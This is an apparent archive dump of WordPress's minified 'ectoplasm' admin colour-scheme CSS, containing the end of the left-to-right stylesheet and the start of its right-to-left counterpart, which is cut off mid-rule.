.button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#523f6d}.wp-core-ui .wp-ui-text-primary{color:#523f6d}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#a3b745}.wp-core-ui .wp-ui-text-highlight{color:#a3b745}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d46f15}.wp-core-ui .wp-ui-text-notification{color:#d46f15}.wp-core-ui .wp-ui-text-icon{color:#ece6f6}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#523f6d}.view-switch a:hover:before{color:#d46f15}#adminmenu,#adminmenuback,#adminmenuwrap{background:#523f6d}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#ece6f6}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#a3b745}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(64.9802325581,49.9238372093,86.3761627907)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:rgb(64.9802325581,49.9238372093,86.3761627907)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(203.1,197.4,211.2)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(203.1,197.4,211.2)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#a3b745}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#a3b745}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#a3b745}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d46f15}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(64.9802325581,49.9238372093,86.3761627907)}#collapse-button{color:#ece6f6}#collapse-button:focus,#collapse-button:hover{color:#a3b745}#wpadminbar{color:#fff;background:#523f6d}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#ece6f6}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#a3b745;background:rgb(64.9802325581,49.9238372093,86.3761627907)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#a3b745}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#a3b745}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(64.9802325581,49.9238372093,86.3761627907)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(100.2840283114,83.3456627907,124.3543372093)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(203.1,197.4,211.2)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#ece6f6}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#a3b745}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#a3b745}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#ece6f6}#wpadminbar #adminbarsearch:before{color:#ece6f6}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(99.0197674419,76.0761627907,131.6238372093)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d46f15}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(190.8,99.9,18.9)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(99.0197674419,76.0761627907,131.6238372093);background-color:rgb(99.0197674419,76.0761627907,131.6238372093)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#a3b745}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(203.1,197.4,211.2)}.wp-pointer .wp-pointer-content h3{background-color:#a3b745;border-color:rgb(146.505952381,164.4821428571,62.0178571429)}.wp-pointer .wp-pointer-content h3:before{color:#a3b745}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#a3b745}.media-item .bar,.media-progress-bar div{background-color:#a3b745}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #a3b745}.attachment.details .check{background-color:#a3b745;box-shadow:0 0 0 1px #fff,0 0 0 2px #a3b745}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #a3b745}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#a3b745}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#a3b745}.theme-filter.current,.theme-section.current{border-bottom-color:#523f6d}body.more-filters-opened .more-filters{color:#fff;background-color:#523f6d}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#a3b745;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#a3b745;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(181.8928571429,198.3214285714,104.6785714286),0 0 2px 1px #a3b745}div#wp-responsive-toggle a:before{color:#ece6f6}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#a3b745}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(64.9802325581,49.9238372093,86.3761627907)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#ece6f6}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#a3b745}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#a3b745}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#a3b745}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#a3b745}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(181.8928571429,198.3214285714,104.6785714286),0 0 2px 1px #a3b745}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#a3b745;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#a3b745}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#a3b745;border-style:solid;box-shadow:0 0 0 1px #a3b745;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#a3b745}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(181.8928571429,198.3214285714,104.6785714286),0 0 2px 1px #a3b745}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#a3b745;color:#0073aa} css/colors/ectoplasm/colors-rtl.min.css 0000644 00000052427 15233246127 0014237 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#523f6d}.wp-core-ui .wp-ui-text-primary{color:#523f6d}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#a3b745}.wp-core-ui .wp-ui-text-highlight{color:#a3b745}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d46f15}.wp-core-ui .wp-ui-text-notification{color:#d46f15}.wp-core-ui .wp-ui-text-icon{color:#ece6f6}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#523f6d}.view-switch a:hover:before{color:#d46f15}#adminmenu,#adminmenuback,#adminmenuwrap{background:#523f6d}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#ece6f6}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#a3b745}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(64.9802325581,49.9238372093,86.3761627907)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:rgb(64.9802325581,49.9238372093,86.3761627907)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(203.1,197.4,211.2)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(203.1,197.4,211.2)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#a3b745}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#a3b745}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#a3b745}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d46f15}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(64.9802325581,49.9238372093,86.3761627907)}#collapse-button{color:#ece6f6}#collapse-button:focus,#collapse-button:hover{color:#a3b745}#wpadminbar{color:#fff;background:#523f6d}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#ece6f6}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#a3b745;background:rgb(64.9802325581,49.9238372093,86.3761627907)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#a3b745}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#a3b745}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(64.9802325581,49.9238372093,86.3761627907)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(100.2840283114,83.3456627907,124.3543372093)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li 